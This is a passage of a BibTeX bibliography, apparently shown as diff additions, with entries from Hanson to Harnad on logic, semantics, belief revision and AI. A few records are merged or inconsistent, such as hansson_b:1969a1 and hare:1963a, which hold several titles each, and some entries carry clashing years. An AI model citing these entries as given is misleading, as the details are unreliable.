Individualism" + 22. David Kirsh, "When Is Information Explicitly Represented?" + 23. Ian Pratt, "Psychological Inference, Constitutive + Rationality, and Logical Closure" + 23. John D. Collier, "Intrinsic Information" + } , + ISBN = {0774803274}, + topic = {foundations-of-semantics;nl-semantics-and-cognition; + theories-of-information;} + } + +@book{ hanson_pr:1990a, + editor = {Philip R. Hanson}, + title = {Information, Language, and Cognition}, + publisher = {University of British Columbia Press}, + year = {1990}, + address = {Vancouver}, + contentnote = {TC: + 1. Philip P. Hanson, "Preface", + 2. David J. Israel and John Perry, "What Is Information?" + 3. John W. Heintz, "Comment" + 4. Nicholas Asher, "Verbal Information, Interpretation, and + Attitudes" + 5. Edward P. Stabler, Jr., "Comment" + 6. Robert F. Hadley, "Truth Conditions and Procedural Semantics" + 7. Zenon W. Pylyshyn, "Comment" + 10. Fred Dretske, "Putting Information to Work" + 11. Brian Cantwell Smith, "Comment" + 12. Lee R. Brooks, "Concept Formation and Particularizing Learning" + 13. Paul Thagard, "Comment" + 14. Jerry Fodor, "Information and Representation" + 15. Ali Akhtar Kazmi, "Comment" + 16. Nicholas Asher, Lee R. Brooks, Fred Dretske, Jerry Fodor, + John Perry, Zenon W. Pylyshyn, and Brian Cantwell Smith, + David J. Israel, "Roundtable Discussion" + 17. Scott Soames, "Belief and Mental Representation" + 18. Fred Landman, "Partial Information, Modality, and Intentionality" + 19. Carl J. Pollard and M. Andrew Moshier, "Unifying Partial + Descriptions of Sets" + 20. Kim Sterelny, "Animals and Individualism" + 22. David Kirsh, "When Is Information Explicitly Represented?" + 23. Ian Pratt, "Psychological Inference, Constitutive + Rationality, and Logical Closure" + 23. John D. Collier, "Intrinsic Information" + } , + ISBN = {0-19-507309-6}, + topic = {foundations-of-semantics;nl-semantics-and-cognition; + theories-of-information;} + } + +@book{ hanson_s-etal:1994a, + editor = {Stephen J. Hanson and George A. Drastal and Ronald L. Rivest}, + title = {Computational Learning Theory and Natural Learning Systems}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {learning;learning-theory;} + } + +@article{ hanson_wh:1997a, + author = {William H. Hanson}, + title = {The Concept of Logical Consequence}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {3}, + pages = {365--409}, + topic = {logical-consequence;a-priori;philosophy-of-logic;} + } + +@article{ hanson_wh:1999a, + author = {William H. Hanson}, + title = {Ray on {T}arski on Logical Consequence}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {6}, + pages = {607--618}, + topic = {logical-consequence;Tarski;} + } + +@article{ hansson:2000a, + author = {Sven Ove Hansson}, + title = {Coherentist Contraction}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {3}, + pages = {315--330}, + topic = {belief-revision;} + } + +@article{ hansson:2000b, + author = {Sven Ove Hansson}, + title = {Formalization in Philosophy}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {2}, + pages = {162--175}, + topic = {logical-philosophy;} + } + +@article{ hansson-etal:2001a, + author = {Sven Ove Hansson and Eduardo Leopoldo Ferm\'e and John + Cantwell and Marcello Alejandro Falappa}, + title = {Credibility Limited Revision}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {4}, + pages = {1581--1596}, + topic = {belief-revision;} + } + +@article{ hansson_b:1969a1, + author = {Bengt Hansson}, + title = {An Analysis of Some Deontic Logics}, + journal = {No\^us}, + year = {1969}, + volume = {3}, + pages = {373--398}, + missinginfo = {number.}, + xref = {Republication: hansson_b:1969a2.}, + title = {An Analysis of Some Deontic Logics}, + booktitle = {Deontic Logic: Introductory and Systematic Readings}, + publisher = {D. Reidel Publishing Company}, + address = {Dordrecht}, + year = {1971}, + pages = {121--147}, + xref = {Republication of: hansson_b:1969a1.}, + title = {A Program for Pragmatics}, + booktitle = {Logical Theory and Semantic Analysis}, + publisher = {D. Reidel Publishing Co.}, + year = {1974}, + editor = {S{\o}ren Stenlund}, + pages = {163--174}, + address = {Dordrecht}, + topic = {pragmatics;} + } + +@article{ hansson_b:1990a, + author = {Bengt Hansson}, + title = {Preference-Based Deontic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {1}, + pages = {75--93}, + missinginfo = {number}, + topic = {deontic-logic;preferences;qualitative-utility;} + } + +@article{ hansson_o-etal:1992a, + author = {Othar Hansson and Andrew Mayer and Marco Valtorta}, + title = {A New Result on the Complexity of Heuristic Estimates for + the {A}* Algorithm}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {55}, + number = {1}, + pages = {129--143}, + topic = {search;complexity-in-AI;A*-algorithm;} + } + +@article{ hansson_so:1986a, + author = {Sven Ove Hansson}, + title = {Individuals and Collective Actions}, + journal = {Synth\'ese}, + year = {1986}, + volume = {52}, + pages = {87--97}, + missinginfo = {number}, + topic = {group-action;action;} + } + +@incollection{ hansson_so:1989a, + author = {Sven Ove Hansson}, + title = {Hidden Structures of Belief}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1989}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {79--100}, + address = {Berlin}, + topic = {belief-revision;belief;} + } + +@article{ hansson_so:1989b, + author = {Sven Ove Hansson}, + title = {New Operators for Theory Change}, + journal = {Theoria}, + year = {1955}, + volume = {55}, + pages = {114--132}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@article{ hansson_so:1989c, + author = {Sven Ove Hansson}, + title = {Reversing the {L}evi Identity}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {22}, + pages = {175--203}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@article{ hansson_so:1990a, + author = {Sven Ove Hansson}, + title = {Preference-Based Deontic Logic ({PDL})}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {1}, + pages = {75--93}, + topic = {deontic-logic;preferences;} + } + +@phdthesis{ hansson_so:1991a, + author = {Sven Ove Hansson}, + title = {Belief Base Dynamics}, + school = {Uppsala University}, + year = {1991}, + type = {Ph.{D}. Dissertation}, + missinginfo = {Address}, + topic = {belief-revision;} + } + +@article{ hansson_so:1991b, + author = {Sven Ove Hansson}, + title = {Belief Contraction without Recovery}, + journal = {Studia Logica}, + year = {1991}, + volume = {50}, + number = {2}, + pages = {251--260}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@article{ hansson_so:1992a, + author = {Sven Ove Hansson}, + title = {In Defense of Base Contraction}, + journal = {Synth\'ese}, + year = {1992}, + volume = {91}, + pages = {239--245}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@incollection{ hansson_so:1992b, + author = {Sven Ove Hansson}, + title = {A Dyadic Representation of Belief}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {89--121}, + address = {Cambridge}, + topic = {belief-revision;epistemic-logic;belief;} + } + +@article{ hansson_so:1992c, + author = {Sven Ove Hansson}, + title = {In Defence of the {R}amsey Test}, + journal = {Journal of Philosophy}, + year = {1992}, + volume = {89}, + pages = {522--540}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@article{ hansson_so:1993a, + author = {Sven Ove Hansson}, + title = {Changes in Disjunctively Closed Bases}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {2}, + number = {4}, + pages = {255--284}, + topic = {belief-revision;} + } + +@article{ hansson_so:1993b, + author = {Sven Ove Hansson}, + title = {Reversing the {L}evi Identity}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {6}, + pages = {637--669}, + topic = {belief-revision;} + } + +@incollection{ hansson_so:1994a, + author = {Sven Ove Hansson}, + title = {Taking Belief Bases Seriously}, + booktitle = {Logic and Philosophy of Science in Uppsala}, + publisher = {Kluwer Academic Publishers}, + year = {1994}, + editor = {Dag Prawitz and D. Westerstahl}, + pages = {13--28}, + address = {Dordrecht}, + topic = {belief-revision;} + } + +@article{ hansson_so:1994b, + author = {Sven Ove Hansson}, + title = {Kernel Contraction}, + journal = {Journal of Symbolic Logic}, + year = {1993}, + volume = {59}, + pages = {845--859}, + topic = {belief-revision;} + } + +@incollection{ hansson_so:1995a, + author = {Sven Ove Hansson}, + title = {The Emperor's New Clothes: Some Recurring + Problems in the Formal Analysis of Conditionals}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {13--31}, + address = {Oxford}, + topic = {conditionals;} + } + +@article{ hansson_so:1996a, + author = {Sven Ove Hansson}, + title = {What Is {\it Ceteris Paribus} Preference?}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {3}, + pages = {307--332}, + topic = {qualitative-utility;preferences;} + } + +@article{ hansson_so:1996b, + author = {Sven Ove Hansson}, + title = {Knowledge-Level Analysis of Belief Base Operations}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {215--235}, + topic = {belief-revision;} + } + +@article{ hansson_so:1996c, + author = {Sven Ove Hansson}, + title = {A Test Battery for Rational Database Updating}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {341--352}, + topic = {belief-revision;database-update;} + } + +@article{ hansson_so:1997a, + author = {Sven Ove Hansson}, + title = {Situationist Deontic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {4}, + pages = {423--448}, + topic = {deontic-logic;} + } + +@article{ hansson_so:1998a, + author = {Sven Ove Hansson}, + title = {Editorial: Belief Revision Today}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {2}, + pages = {123--126}, + topic = {belief-revision;} + } + +@incollection{ hansson_so:1998b, + author = {Sven Ove Hansson}, + title = {Revision of Belief Sets and Belief Bases}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 3: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Didier Dubois and Henri Prade}, + pages = {16--75}, + address = {Dordrecht}, + topic = {belief-revision;} + } + +@article{ hansson_so:1999a, + author = {Sven Ove Hansson}, + title = {Recovery and Epistemic Residue}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {4}, + pages = {421--428}, + topic = {belief-revision;} + } + +@article{ hansson_so:2002a, + author = {Sven Ove Hansson}, + title = {The Role of Language in Belief Revision}, + journal = {Studia Logica}, + year = {2002}, + volume = {68}, + number = {1}, + pages = {5--21}, + topic = {belief-revision;} + } + +@article{ hansson_so-wasserman:2002a, + author = {Sven Ove Hansson and Renata Wasserman}, + title = {Local Change}, + journal = {Studia Logica}, + year = {2002}, + volume = {68}, + number = {1}, + pages = {49--76}, + topic = {belief-revision;} + } + +@book{ harabagiu:1998a, + editor = {Sanda Harabagiu}, + title = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Jiri Stetina and Sadao Kurohashi and Makoto Nagao, + "General Word Sense Disambiguation Method Based + on A Full Sentential Context", pp. 1--8 + 2. Eric V. Siegel, "Disambiguating Verbs with the + {W}ord{N}et Category of Direct Object", pp. 9--15 + 3. Rada Mihalcea and Dan I. Moldovan, "Word Sense + Disambiguation Based on Semantic Density", pp. 16--22 + 4. Janyce Wiebe and Tom O'Hara and Rebecca Bruce, + "Constructing {B}ayesian Networks from {W}ord{N}et + for Word-Sense Disambiguation: Representational + and Processing Issues", pp. 23--30 + 5. Rila Mandala and Takenobu Tokunaga and Hozumi Tanaka, + "The Use of {W}ord{N}et in Information + Retrieval", pp. 31--37 + 6. Julio Gonzalo and Felisa Verdejo and Irina Chugar + and Juan Cigarr\'an, "Indexing with {W}ord{N}et + Synsets Can Improve Text Retrieval", pp. 38--44 + 7. Sam Scott and Stan Matwin, "Text Classification Using + {W}ord{N}et Hypernyms", pp. 45--51 + 8. Christiane Fellbaum, "Towards a Representation of Idioms + in {W}ord{N}et", pp. 52--57 + 9. Fernando Gomez, "Linking {W}ord{N}et Verb Classes to + Semantic Interpretation", pp. 58--64 + 10. Xavier Farreres and German Rigau and Horacio Rodr\'iguez, + "Using {W}ord{N}et for Building {W}ord{N}ets", pp. 65--72 + 11. Oi Yee Kwong, "Aligning {W}ord{N}et with Additional + 1exical Resources", pp. 73--79 + 12. Roberto Basili and Alessandro Cucchiarelli and Carlo + Consoli and Maria Teresa Pazienza and Paola Velardi, + "Automatic Adaptation of {W}ord{N}et to Sublanguages + and to Computational Tasks", pp. 80--86 + 13. Simonetta Montemagni and Vito Pirelli, "Augmenting + {W}ord{N}et-like Lexical Resources with Distributional + Evidence. An Application-Oriented + Perspective", pp. 87--93 + 14. Tom O'Hara and Kavi Mahesh and Sergei Nirenburg, "Lexical + Acquisition with {W}ord{N}et and the Mikrokosmos + Ontology", pp. 94--101 + 15. Alistair Campell and Stuart C. Shapiro, "Algorithms for + Ontological Mediation", pp. 102--107 + 16. Noriko Tomuro, "Semi-Automatic Induction of Systematic + Polysemy from {W}ord{N}et", pp. 108--114 + 17. Michael McHale, "A Comparison of {W}ord{N}et and Roget's + Taxonomy for Measuring Semantic Similarity", pp. 115--120 + 18. Yuval Krymolowski and Dan Roth, "Incorporating Knowledge + in Natural Language Learning: A Case Study", pp. 121--127 + 19. Hongyan Jing, "Usage of {W}ord{N}et in Natural Language + Generation", pp. 128--134 + 20. Doug Beeferman, "Lexical Discovery with an Enriched + Semantic Network", pp. 135--141 + 21. Sanda M. Harabagiu, "Deriving Metonymic Coercions from + {W}ord{N}et", pp. 142--148 + }, + topic = {nl-processing;WordNet;} + } + +@incollection{ harabagiu:1998b, + author = {Sanda M. Harabagiu}, + title = {Deriving Metonymic Coercions from {W}ord{N}et}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {142--148}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;metonymy;metaphor;semantic-coercion; + word-acquisition;} + } + +@incollection{ harabagiu-maiorano:1999a, + author = {Sandra Harabagiu and Stephen Maiorano}, + title = {Knowledge-Lean Coreference Resolution and Its Relation + to Textual Cohesion and Coreference}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {29--38}, + address = {New Brunswick, New Jersey}, + topic = {reference-resolution;discourse-coherence;} + } + +@article{ harabagiu:2001a, + author = {Sandra Harabagiu}, + title = {Review of {\it Advances in Information Retrieval: Recent + Research from the Center for Intelligent Information + Retrieval}, by {W}. {B}ruce {C}roft}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {301--303}, + xref = {Review of: croft_wb:2000a.}, + topic = {nl-generation;} + } + +@incollection{ harada:1996a, + author = {Hideyuki Nakashima and Yasunari Harada}, + title = {Situated Disambiguation with Properly Specific + Representation}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + editor = {Kees {van Deemter} and Stanley Peters}, + pages = {77--99}, + topic = {situation-theory;disambiguation;} + } + +@article{ haralick-ripken:1975a, + author = {Robert M. Haralick and Knut Ripken}, + title = {An Associative-Categorical Model of Word Meaning}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {1}, + pages = {75--99}, + acontentnote = {Abstract: + A new dual categorical-associative model for the representation + of word meaning is proposed. In it, concepts are described by + the values they have on a set of given variables (categories). A + statistical relatedness measure (concomitant variation) is + computed for these values on the basis of the specified word + universe. An association measure between the words is defined, + and the generalization of word clusters is introduced. A + comparison with associative and categorical models is made and + the application of the dual model to verbal analogy problems is + described. Possible applications in Artificial Intelligence and + Natural Language Processing are discussed.}, + topic = {semantic-similarity;lexical-semantics;} + } + +@article{ haralick-elliott:1980a, + author = {Robert M. Haralick and Gordon L. Elliott}, + title = {Increasing Tree Search Efficiency for Constraint + Satisfaction Problems}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {3}, + pages = {263--313}, + topic = {search;constraint-satisfaction;} + } + +@article{ harcourt:1999a, + author = {Edward Harcourt}, + title = {Interpretation, the First Person, and `That'-Clauses}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {459--472}, + topic = {indexicality;propositional-attitudes;} + } + +@article{ hardcastle:1999a, + author = {Valerie Gray Hardcastle}, + title = {Scientific Papers Have Various Structures}, + journal = {Philosophy of Science}, + year = {1999}, + volume = {66}, + number = {3}, + pages = {415--439}, + contentnote = {Idea is to use corpus techniques to test + hypotheses in philosophy of science.}, + topic = {scientific-documents;document-classification; + philosophy-of-science;} + } + +@article{ hardegree:1975a, + author = {Gary M. Hardegree}, + title = {Stalnaker Conditionals and Quantum Logic}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {4}, + pages = {399--421}, + topic = {conditionals;quantum-logic;} + } + +@article{ hardegree:1979a, + author = {Gary Hardegree}, + title = {Material Implication in Orthomodular (and {B}oolean) + Lattices}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1979}, + volume = {22}, + number = {2}, + pages = {163--183}, + topic = {quantum-logic;} + } + +@article{ hardin_cl:1988a, + author = {C.L. Hardin}, + title = {Phenomenal Color and Sorites}, + journal = {No{\^u}s}, + year = {1988}, + volume = {22}, + pages = {213--234}, + topic = {vagueness;sorites-paradox;} + } + +@book{ hardin_r:1995a, + author = {Russell Hardin}, + title = {One for All: The Logic of Group + Conflict}, + publisher = {Princeton University Press}, + year = {1995}, + address = {Princeton}, + xref = {Review: gilbert:1998a.}, + topic = {group-action;foundations-of-sociology;} + } + +@article{ hardt:1997a, + author = {David Hardt}, + title = {An Empirical Approach to {VP} Ellipsis}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {4}, + pages = {525--541}, + topic = {VP-ellipsis;} + } + +@article{ hardt:1999a, + author = {Daniel Hardt}, + title = {Dynamic Interpretation of Verb Phrase Ellipsis}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {2}, + pages = {187--221}, + topic = {dynamic-semantics;ellipsis;verb-phrase-anaphora;} + } + +@article{ hardy:1997a, + author = {Thomas Hardy}, + title = {Three Problems for the Singularity Theory of Truth}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {501--520}, + topic = {truth;semantic-paradoxes;} + } + +@article{ hare:1949a, + author = {Richard M. Hare}, + title = {Imperative Sentences}, + journal = {Mind}, + year = {1949}, + volume = {58}, + pages = {29--31}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;pragmatics;imperatives;} + } + +@book{ hare:1952a, + author = {Richard M. Hare}, + title = {The Language of Morals}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1952}, + topic = {ethics;emotivism;} + } + +@book{ hare:1963a, + author = {Richard M. Hare}, + title = {Freedom and Reason}, + publisher = {Oxford University Press}, + year = {1963}, + address = {Oxford}, + title = {Some Alleged Differences Between Imperatives and + Indicatives}, + journal = {Mind}, + year = {1967}, + missinginfo = {A's 1st name, number,pages,volume}, + topic = {speech-acts;pragmatics;imperatives;} + } + +@article{ hare:1970a, + author = {Richard M. Hare}, + title = {Meaning and Speech Acts}, + journal = {Philosophical Review}, + year = {1979}, + volume = {79}, + pages = {3--24}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;pragmatics;} + } + +@book{ hare:1971a, + author = {Richard M. Hare}, + title = {Practical Inferences}, + publisher = {Macmillan}, + year = {1971}, + address = {London}, + ISBN = {0333125991}, + topic = {practical-reasoning;} + } + +@book{ hare:1981a, + author = {Richard M. Hare}, + title = {Moral Thinking: Its Levels, Method, + and Point}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1980}, + topic = {ethics;} + } + +@book{ hare:1995a, + author = {Richard M. Hare}, + title = {Practical Inferences}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + ISBN = {0262193558}, + topic = {practical-reasoning;} + } + +@incollection{ harel:1984a, + author = {David Harel}, + title = {Dynamic Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + volume = {2}, + pages = {497--604}, + address = {Dordrecht}, + topic = {dynamic-logic;} + } + +@book{ harel:1987a, + author = {David Harel}, + title = {Algorithmics: The Spirit of Computing}, + publisher = {Addison-Wesley}, + year = {1987}, + address = {Reading, Massachusetts}, + topic = {computability;complexity-theory;} + } + +@techreport{ harel:1987b1, + author = {David Harel}, + title = {On Visual Formalisms}, + institution = {Computer Science Department, Carnegie Mellon + University}, + number = {CMU--CS--87--126}, + year = {1987}, + address = {Pittsburgh, Pennsylvania}, + xref = {Journal Publication: harel:1987b2. Repub: harel:1987b3}, + topic = {finite-state-automata;diagrams;statecharts; + reasoning-with-diagrams;visual-reasoning;} + } + +@article{ harel:1987b2, + author = {David Harel}, + title = {On Visual Formalisms}, + journal = {Communications of the {ACM}}, + year = {1988}, + volume = {13}, + number = {5}, + pages = {514--530}, + xref = {Tech Report: harel:1987b1. Repub: harel:1987b3}, + topic = {finite-state-automata;diagrams;statecharts; + reasoning-with-diagrams;visual-reasoning;} + } + +@incollection{ harel:1987b3, + author = {David Harel}, + title = {On Visual Formalisms}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {235--271}, + address = {Cambridge, Massachusetts}, + xref = {Tech Report: harel:1987b1. Journal Publication: harel:1987b2.}, + topic = {diagrams;reasoning-with-diagrams;visual-reasoning;} + } + +@article{ harel:1987c, + author = {David Harel}, + title = {Statecharts: A Visual Formalism for Complex Systems}, + journal = {Science of Computer Programming}, + year = {1987}, + volume = {8}, + pages = {231--274}, + missinginfo = {number}, + topic = {finite-state-automata;diagrams;reasoning-with-diagrams; + statecharts;} + } + +@inproceedings{ harel-etal:1987a, + author = {David Harel and Amir Pnueli and + J.P. Schmidt and R. Sherman}, + title = {On the Formal Semantics of Statecharts}, + booktitle = {Proceedings of the Second {IEEE} Symposium on + Logic in Computation}, + year = {1987}, + pages = {54--64}, + organization = {{IEEE}}, + topic = {finite-state-automata;diagrams;reasoning-with-diagrams; + statecharts;} + } + +@book{ harel-etal:1994a, + author = {David Harel and E. Gery and M. Politi}, + title = {Object-Oriented Modeling with Statecharts}, + publisher = {Weizmann Institute of Science, Dept. of Applied + Mathematics and Computer Science}, + year = {1994}, + address = {Rehovot, Israel}, + acontentnote = {Abstract: + We propose an integrated set of visual languages for modeling + object-oriented systems. O-charts are used to specify the system's + objects in a hierarchical fashion, capturing the structure and + interrelations of real objects, as well as static and dynamic sets + (sheafs) thereof. Statecharts are used to specify object behavior; + they are enhanced with mechanisms for dealing with requests and + replies, according to a client/server paradigm based on queuing. + C-charts are used to specify class structure in terms of inheritance + and aggregation; different kinds of inheritance are allowed, defined + in terms of the effect on object interface and behavior. The syntax + and semantics of the three languages and their interconnections have + been rigorously formulated, and lead to executable and analyzable + models, from which object-oriented code can be automatically + synthesized. } , + topic = {statecharts;object-oriented-formalisms;} + } + +@article{ harizanov:2000a, + author = {Valentina Harizanov}, + title = {Review of {\it Computatble Structures and the + Hyperarithmetical Hierarchy}, by {C}hris {A}sh and {J}ulia {K}night}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {3}, + pages = {383--385}, + xref = {Review of ash-knight_jf:2000a}, + topic = {hyperarithmetical-hierarchy;computable-model-theory;} + } + +@article{ harman:1968a1, + author = {Gilbert H. Harman}, + title = {Three Levels of Meaning}, + journal = {The Journal of Philosophy}, + year = {1971}, + volume = {65}, + pages = {590--602}, + missinginfo = {number}, + xref = {Reprinted in steinberg-jacobovits:1971a, see harman:1968a2.}, + topic = {philosophy-of-language;speaker-meaning;speech-acts; + foundations-of-semantics;pragmatics;} + } + +@incollection{ harman:1968a2, + author = {Gilbert H. Harman}, + title = {Three Levels of Meaning}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {66--75}, + address = {Cambridge, England}, + xref = {Reprinted from Journal of Philosophy, see harman:1968a1.}, + topic = {philosophy-of-language;speaker-meaning;speech-acts; + foundations-of-semantics;pragmatics;} + } + +@article{ harman:1970a, + author = {Gilbert H. Harman}, + title = {\,`--- is true'\, } , + journal = {Analysis}, + year = {1970}, + volume = {30}, + number = {3}, + pages = {98--99}, + topic = {truth;} + } + +@article{ harman:1972a1, + author = {Gilbert Harman}, + title = {Logical Form}, + journal = {Foundations of Language}, + year = {1972}, + volume = {9}, + pages = {38--65}, + missinginfo = {number}, + xref = {Republication: harman:1972a2.}, + topic = {nl-semantics;adverbs;Davidson-semantics;} + } + +@incollection{ harman:1972a2, + author = {Gilbert Harman}, + title = {Logical Form}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {289--307}, + address = {Encino, California}, + xref = {Republication of: harman:1972a1.}, + topic = {nl-semantics;adverbs;Davidson-semantics;} + } + +@incollection{ harman:1972b, + author = {Gilbert H. Harman}, + title = {Deep Structure as Logical Form}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {25--47}, + address = {Dordrecht}, + topic = {nl-semantics;generative-semantics;} + } + +@unpublished{ harman:1973a, + author = {Gilbert Harman}, + title = {Against Universal Semantic Representation}, + year = {1973}, + note = {Unpublished manuscript, Princeton University.}, + topic = {foundations-of-semantics;} + } + +@incollection{ harman:1975a, + author = {Gilbert Harman}, + title = {Language, Thought, and Communication}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {270--298}, + address = {Minneapolis, Minnesota}, + topic = {philosophy-of-language;} + } + +@book{ harman:1975b, + author = {Gilbert Harman}, + title = {{\em If} and Modus Ponens}, + publisher = {Indiana University Linguistics Club}, + year = {1975}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {conditionals;logical-form;} + } + +@incollection{ harman:1978a, + author = {Gilbert Harman}, + title = {Reasons}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {110--117}, + address = {Oxford}, + topic = {obligation;reasons-for-action;} + } + +@book{ harman:1986a, + author = {Gilbert Harman}, + title = {Change in View}, + publisher = {{MIT} Press}, + year = {1986}, + address = {Cambridge, Massachusetts}, + xref = {Reviews: levi_i:1987a, loui:1987a, makinson:1988a.}, + topic = {belief-revision;limited-rationality;} + } + +@incollection{ harman:1986b, + author = {Gilbert Harman}, + title = {Willing and Intending}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {363--380}, + address = {Oxford}, + topic = {intention;volition;} + } + +@incollection{ harman:1987a, + author = {Gilbert Harman}, + title = {(Nonsolipsistic) Conceptual Role Semantics}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {55--81}, + address = {London}, + contentnote = {Suggests functional role in a person's psych as a + foundation for semantics. Argues that functional role can + involve rels to an ext world. Does not address the problem + of developing a theory of these roles that, eg, could replace + the model theoretic accounts of mathematical formalisms.}, + topic = {nl-semantics;foundations-of-semantics;cognitive-semantics;} + } + +@incollection{ harman:1989a, + author = {Gilbert Harman}, + title = {Some Philosophical Issues in Cognitive Science: Qualia, + Intentionality, and the Mind-Body Problem}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {21}, + pages = {831--848}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-cognitive-science;philosophy-of-mind;} + } + +@book{ harman:1993a, + editor = {Gilbert Harman}, + title = {Conceptions of the Human Mind: Essays in Honor of + {G}eorge {A}. {M}iller}, + publisher = {Lawrence Erlbaum}, + year = {1993}, + address = {Hillsdale, New Jersey}, + ISBN = {0805812342}, + topic = {philisophy-of-mind;foundations-of-cognition; + cognitive-psychology;} + } + +@book{ harman:1999a, + author = {Gilbert Harman}, + title = {Reasoning, Meaning, and Mind}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + topic = {philosophy-of-language;philosophy-of-mind; + conceptual-role-semantics;} + } + +@article{ harman:2000a, + author = {Gilbert Harman}, + title = {Review of {\it New Horizons in the Study of + Language and Mind}, by {N}oam {C}homsky}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {5}, + pages = {265--269}, + xref = {Review: chomsky:2000a.}, + topic = {philosophy-of-linguistics;philosophy-of-mind;} + } + +@book{ harnad-etal:1976a, + editor = {Stevan R. Harnad and Horst D. Steklis and Jane Lancaster}, + title = {Origins and Evolution of Language and Speech}, + publisher = {New York Academy of Sciences}, + year = {1976}, + address = {New York}, + ISBN = {0890720266}, + topic = {language-and-evolution;language-origins;} + } + 